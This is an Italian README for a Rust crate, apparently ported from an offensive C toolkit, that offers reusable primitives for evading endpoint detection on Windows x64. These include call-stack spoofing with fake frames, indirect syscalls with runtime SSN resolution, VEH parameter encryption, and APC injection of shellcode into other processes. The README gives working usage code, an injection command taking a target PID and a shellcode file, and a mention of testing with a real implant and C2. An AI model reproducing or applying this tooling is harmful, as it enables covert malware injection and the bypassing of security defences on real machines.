
Crate Rust per ghost-frame call-stack spoofing, runtime indirect syscalls e APC injection su Windows x64. Fornisce risoluzione SSN, emissione di stub JIT e crittografia dei parametri basata su VEH per evasione di EDR.
Ghost-frame call-stack spoofing + chiamate di sistema indirette runtime per Windows x64 — portato in Rust.
Portato da LACUNA Chain (lacuna_chain.c) di Mohamed Alzhrani (0xmaz).
lacuna-rs è un crate Rust riutilizzabile che fornisce le stesse primitive del C TTP originale, strutturato per poter essere inserito in qualsiasi progetto Rust — come wsyscall-rs o syscalls-rs, ma con risoluzione runtime degli SSN, targeting syscall;ret per funzione e spoofing dello stack con ghost-frame.
La funzionalità
stack-spooffallirà silenziosamente se il crate consumatore non è compilato con frame pointer.
Le primitive di stomping dello stack in chain.rs localizzano lo slot dell'indirizzo di ritorno del chiamante tramite assembly inline mov rbp, {x}. Ciò richiede che la catena RBP sia intatta. Rust (e la maggior parte dei compilatori in modalità release) omette i frame pointer di default.
build.rs imposta force-frame-pointers=yes per il codice di questo crate, ma Cargo non può propagare i flag del compilatore ai crate downstream. Devi aggiungere questo al tuo progetto:
# .cargo/config.toml (nel TUO crate, non in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Senza questo, stomp_plant() leggerà dati spazzatura da RBP e o non farà nulla (caso migliore) o corromperà lo stack (caso peggiore). Il crate non ha modo di rilevare a runtime se i frame pointer sono abilitati — semplicemente non funzionerà.
Se hai bisogno solo delle primitive di scansione, risoluzione SSN o iniezione (senza spoofing dello stack), puoi omettere la funzionalità stack-spoof e questo requisito non si applica.
| Primitiva | Funzione C | Modulo Rust |
|---|---|---|
| Analisi sezioni PE ed export | pe_section(), pe_export() | pe |
Scansione regione ghost .pdata | scan_ghosts(), best_ghost() | scan |
Scoperta gadget ghost (jmp [rbx]) | scan_ghost_gadgets() | scan |
Ricerca gap NOP in win32u | win32u_nop_gap() | scan |
| Ricerca anchor BYOUD-MF | find_mf_target() | scan |
| Risoluzione SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Localizzazione syscall;ret per funzione | find_func_syscall() | nt |
| Emissione stub syscall indiretta JIT | alloc_stub() | stub |
| Reindirizzamento stub tramite gadget ghost | (in alloc_stub()) | stub |
| Crittografia parametri VEH + hardware breakpoint | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH di guardia della catena | chain_veh() | veh |
| Costruzione catena LACUNA | build_chain() | chain |
| Stomp dello stack (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Camminatore catena (verifica) | lacuna_walk_chain() | chain |
| Iniezione APC basata su sezione | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| Funzionalità | Descrizione | Richiede frame pointer? |
|---|---|---|
syscalls (default) | Risoluzione SSN + emissione stub JIT | No |
inject (default) | Iniezione APC basata su sezione (inject::inject_sapc) | No |
veh | VEH + crittografia parametri hardware breakpoint | No |
stack-spoof | Catena ghost-frame LACUNA + stomp dello stack | Sì |
no-std | Modalità no_std (sperimentale) | No |
Quando nessuna funzionalità è abilitata, sono disponibili solo i livelli di scansione/PE/NT.
cargo run --example scan
cargo run --example verify --features stack-spoof
Esempio di iniezione con implant reale - C2 era offline ma lo shellcode è stato eseguito
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Aggiungi --verbose per abilitare l'output diagnostico VEH (dump dello stack, stampa dei registri):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Invece di accodare APC a ogni thread nel processo target (cosa che potrebbe causare il crash del processo quando troppi thread vengono allertati simultaneamente), inject_sapc utilizza un algoritmo di punteggio per selezionare i migliori MAX_APC_THREADS (5) candidati:
NtQueryInformationThread(ThreadCycleTime) — indicatore principale di attivitàNtQueryInformationThread(ThreadTimes) — tempo kernel + utenteNtQueryInformationThread(ThreadSuspendCount) — i thread non sospesi ottengono un bonus di +300; i thread sospesi ottengono -150 per ogni conteggio di sospensioneNtQueryInformationThread(ThreadBasicInformation) — i thread con priorità 8-10 ottengono un bonus di +150; le priorità fuori intervallo ricevono una penalità di -100I thread completamente inattivi (zero cicli e zero tempo CPU) vengono saltati del tutto. I candidati rimanenti vengono ordinati per punteggio (dal più alto al più basso, con spareggio sui cicli) e troncati ai primi 5.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scansiona per regioni ghost
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} regioni ghost in ntdll", n);
// Risolvi SSN + syscall;ret per una funzione specifica
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Risolvi SSN + indirizzo del syscall;ret della funzione
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// Emetti stub JIT: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (o jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret se build_chain è stato chiamato)
let stub = stub::make_stub(ssn, syscall_ret).expect("allocazione stub fallita");
// Cast al tipo di puntatore a funzione corrispondente e chiama
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Scansiona ntdll/kernelbase/wow64/win32u per regioni ghost e costruisci
// lo stack falso a sei livelli. Imposta G_GHOST_GADGET in modo che gli stub
// vengano instradati tramite JMP [RBX] in una DLL firmata.
lacuna::chain::build_chain();
// Registra i gestori VEH (crittografia parametri + guardia della catena)
let _veh = lacuna::veh::VehGuard::register().expect("Registrazione VEH fallita");
// Opzionale: abilita la diagnostica verbose a runtime
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Pianta ghost frame (sostituisce gli indirizzi di ritorno con ghost di DLL firmate)
lacuna::chain::stomp_plant();
// Arma DR0 sul syscall;ret -- VEH decritterà XOR i parametri al confine
lacuna::veh::pcrypt_arm(key, syscall_ret, true);